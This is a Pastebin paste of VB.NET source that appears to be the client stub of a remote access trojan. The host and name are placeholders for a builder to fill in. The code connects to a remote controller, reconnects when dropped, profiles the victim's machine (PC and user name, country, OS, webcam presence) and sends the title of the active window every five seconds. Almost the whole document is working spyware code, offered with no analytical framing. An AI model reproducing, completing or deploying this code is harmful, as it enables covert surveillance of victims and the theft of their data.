Advertisement
Guest User

Untitled

a guest
Oct 18th, 2019
104
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 9.31 KB | None | 0 0
  1. Imports System
  2. Imports Microsoft.VisualBasic
  3. Imports System.Reflection
  4. Imports System.Net
  5. Imports System.Net.Sockets
  6. Imports System.Threading
  7. Imports System.IO
  8. Imports System.Runtime.InteropServices
  9. Imports System.Text.RegularExpressions
  10. Imports System.Text
  11. Imports Microsoft.Win32
  12. Imports System.Net.NetworkInformation
  13. <Assembly: AssemblyTitle("")>
  14. <Assembly: AssemblyDescription("")>
  15. <Assembly: AssemblyCompany("")>
  16. <Assembly: AssemblyProduct("")>
  17. <Assembly: AssemblyCopyright("")>
  18. <Assembly: AssemblyTrademark("")>
  19. <Assembly: AssemblyVersion("3.5.2.4")>
  20. <Assembly: AssemblyFileVersion("0.0.0.0")>
  21. Module Module1
  22. Public h As String = "#Host#"
  23. Public port As Integer = 4545
  24. Public Name As String = "#Name#"
  25. Public Y As String = "/j|n\"
  26. Public Ver As String = "0.1 BETA"
  27. Public F As New Microsoft.VisualBasic.Devices.Computer
  28. Public C As New TCP
  29. Public Sub main()
  30. Dim oldwindow As String = ""
  31. While True
  32. Thread.CurrentThread.Sleep(5000)
  33. Dim s = ACT()
  34. If s <> oldwindow Then
  35. oldwindow = s
  36. C.Send("!1" & Y & s)
  37. End If
  38. End While
  39. End Sub
  40. Public Sub IND(ByVal b As Byte())
  41. Dim A As String() = Split(BS(b), Y)
  42. Select Case A(0)
  43. Case "ping"
  44. C.Send("ping")
  45. Case "Close"
  46. End
  47. Case "Restart"
  48.  
  49. End
  50. End Select
  51. End Sub
  52. Public Function INF() As String
  53. Dim x As String = Name & Y
  54. ' get pc name
  55. Try
  56. x &= Environment.MachineName & Y
  57. Catch ex As Exception
  58. x &= "??" & Y
  59. End Try
  60. ' get User name
  61. Try
  62. x &= Environment.UserName & Y
  63. Catch ex As Exception
  64. x &= "??" & Y
  65. End Try
  66. ' get Country
  67. x &= Gcc() & Y
  68. ' Get OS
  69. Try
  70. x += F.Info.OSFullName.Replace("Microsoft", "").Replace("Windows", "Win").Replace("®", "").Replace("™", "").Replace(" ", " ").Replace(" Win", "Win")
  71. Catch ex As Exception
  72. x += "??" '& Y
  73. End Try
  74. x += "SP"
  75. Try
  76. Dim k As String() = Split(Environment.OSVersion.ServicePack, " ")
  77. If k.Length = 1 Then
  78. x &= "0"
  79. End If
  80. x &= k(k.Length - 1)
  81. Catch ex As Exception
  82. x &= "0"
  83. End Try
  84. Try
  85. If Environment.GetFolderPath(38).Contains("x86") Then
  86. x += " x64" & Y
  87. Else
  88. x += " x86" & Y
  89. End If
  90. Catch ex As Exception
  91. x += Y
  92. End Try
  93. ' cam
  94. If Cam() Then
  95. x &= "Yes" & Y
  96. Else
  97. x &= "No" & Y
  98. End If
  99. ' version
  100. x &= Ver & Y
  101. ' ping
  102. x &= "" & Y
  103. x &= ACT() & Y
  104. Return x
  105. End Function
  106. '====================================== Window API
  107. Public Declare Function GetForegroundWindow Lib "user32.dll" () As IntPtr ' Get Active window Handle
  108. Public Declare Function GetWindowThreadProcessId Lib "user32.dll" (ByVal hwnd As IntPtr, ByRef lpdwProcessID As Integer) As Integer
  109. Public Declare Function GetWindowText Lib "user32.dll" Alias "GetWindowTextA" (ByVal hWnd As IntPtr, ByVal WinTitle As String, ByVal MaxLength As Integer) As Integer
  110. Public Declare Function GetWindowTextLength Lib "user32.dll" Alias "GetWindowTextLengthA" (ByVal hwnd As Long) As Integer
  111. Public Function ACT() As String ' Get Active Window Text
  112. Try
  113. Dim h As IntPtr = GetForegroundWindow()
  114. If h = IntPtr.Zero Then
  115. Return ""
  116. End If
  117. Dim w As Integer
  118. w = GetWindowTextLength(h)
  119. Dim t As String = StrDup(w + 1, "*")
  120. GetWindowText(h, t, w + 1)
  121. Dim pid As Integer
  122. GetWindowThreadProcessId(h, pid)
  123. If pid = 0 Then
  124. Return t
  125. Else
  126. Try
  127. Return Diagnostics.Process.GetProcessById(pid).MainWindowTitle()
  128. Catch ex As Exception
  129. Return t
  130. End Try
  131. End If
  132. Catch ex As Exception
  133. Return ""
  134. End Try
  135. End Function
  136. Public Function BS(ByVal b As Byte()) As String ' bytes to String
  137. Return System.Text.Encoding.Default.GetString(b)
  138. End Function
  139. Public Function SB(ByVal s As String) As Byte() ' String to bytes
  140. Return System.Text.Encoding.Default.GetBytes(s)
  141. End Function
  142. Function fx(ByVal b As Byte(), ByVal WRD As String) As Array ' split bytes by word
  143. Dim a As New List(Of Byte())
  144. Dim M As New IO.MemoryStream
  145. Dim MM As New IO.MemoryStream
  146. Dim T As String() = Split(BS(b), WRD)
  147. M.Write(b, 0, T(0).Length)
  148. MM.Write(b, T(0).Length + WRD.Length, b.Length - (T(0).Length + WRD.Length))
  149. a.Add(M.ToArray)
  150. a.Add(MM.ToArray)
  151. M.Dispose()
  152. MM.Dispose()
  153. Return a.ToArray
  154. End Function
  155. '=============================== PC Country
  156. <DllImport("kernel32.dll")> _
  157. Private Function GetLocaleInfo(ByVal Locale As UInteger, ByVal LCType As UInteger, <Out()> ByVal lpLCData As System.Text.StringBuilder, ByVal cchData As Integer) As Integer
  158. End Function
  159. Public Function Gcc() As String
  160. Try
  161. Dim d = New System.Text.StringBuilder(256)
  162. Dim i As Integer = GetLocaleInfo(&H400, &H7, d, d.Capacity)
  163. If i > 0 Then
  164. Return d.ToString().Substring(0, i - 1)
  165. End If
  166. Catch ex As Exception
  167. End Try
  168. Return "X"
  169. End Function
  170. '=============================== Cam Drivers
  171. Declare Function capGetDriverDescriptionA Lib "avicap32.dll" (ByVal wDriver As Short, _
  172. ByVal lpszName As String, ByVal cbName As Integer, ByVal lpszVer As String, _
  173. ByVal cbVer As Integer) As Boolean
  174. Public Function Cam() As Boolean
  175. Try
  176. Dim d As String = Space(100)
  177. For i As Integer = 0 To 4
  178. If capGetDriverDescriptionA(i, d, 100, Nothing, 100) Then
  179. Return True
  180. End If
  181. Next
  182. Catch ex As Exception
  183. End Try
  184. Return False
  185. End Function
  186. End Module
  187. Public Class TCP
  188. Public SPL As String = "[endof]"
  189. Public C As Net.Sockets.TcpClient
  190. Sub New()
  191. Dim t As New Threading.Thread(AddressOf RC)
  192. t.Start()
  193. End Sub
  194. Public Sub Send(ByVal b As Byte())
  195. If CN = False Then Exit Sub
  196. Try
  197. Dim r As Object = New IO.MemoryStream
  198. r.Write(b, 0, b.Length)
  199. r.Write(SB(SPL), 0, SPL.Length)
  200. C.Client.Send(r.ToArray, 0, r.Length, Net.Sockets.SocketFlags.None)
  201. r.Dispose()
  202. Catch ex As Exception
  203. CN = False
  204. End Try
  205. End Sub
  206. Public Sub Send(ByVal S As String)
  207. Send(SB(S))
  208. End Sub
  209. Private CN As Boolean = False
  210. Sub RC()
  211. Dim M As New IO.MemoryStream ' create memory stream
  212. Dim lp As Integer = 0
  213. re:
  214. Try
  215. If C Is Nothing Then GoTo e
  216. If C.Client.Connected = False Then GoTo e
  217. If CN = False Then GoTo e
  218. lp += 1
  219. If lp > 500 Then
  220. lp = 0
  221. ' check if i am still connected
  222. If C.Client.Poll(-1, Net.Sockets.SelectMode.SelectRead) And C.Client.Available <= 0 Then GoTo e
  223. End If
  224. If C.Available > 0 Then
  225. Dim B(C.Available - 1) As Byte
  226. C.Client.Receive(B, 0, B.Length, Net.Sockets.SocketFlags.None)
  227. M.Write(B, 0, B.Length)
  228. rr:
  229. If BS(M.ToArray).Contains(SPL) Then ' split packet..
  230. Dim A As Array = fx(M.ToArray, SPL)
  231. Dim T As New Thread(AddressOf IND)
  232. T.Start(A(0))
  233. M.Dispose()
  234. M = New IO.MemoryStream
  235. If A.Length = 2 Then
  236. M.Write(A(1), 0, A(1).length)
  237. GoTo rr
  238. End If
  239. End If
  240. End If
  241. Catch ex As Exception
  242. GoTo e
  243. End Try
  244. Threading.Thread.CurrentThread.Sleep(1)
  245. GoTo re
  246. e: ' clear things and ReConnect
  247. CN = False
  248. Try
  249. C.Client.Disconnect(False)
  250. Catch ex As Exception
  251. End Try
  252. Try
  253. M.Dispose()
  254. Catch ex As Exception
  255. End Try
  256. M = New IO.MemoryStream
  257. Try
  258. C = New Net.Sockets.TcpClient
  259. C.ReceiveTimeout = -1
  260. C.SendTimeout = -1
  261. C.SendBufferSize = 999999
  262. C.ReceiveBufferSize = 999999
  263. C.Client.SendBufferSize = 999999
  264. C.Client.ReceiveBufferSize = 999999
  265. lp = 0
  266. C.Client.Connect(h, port)
  267. CN = True
  268. Send("!0" & Y & INF()) ' Send My INFO after connect
  269. Catch ex As Exception
  270. Threading.Thread.CurrentThread.Sleep(2500)
  271. GoTo e
  272. End Try
  273. GoTo re
  274. End Sub
  275. End Class
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement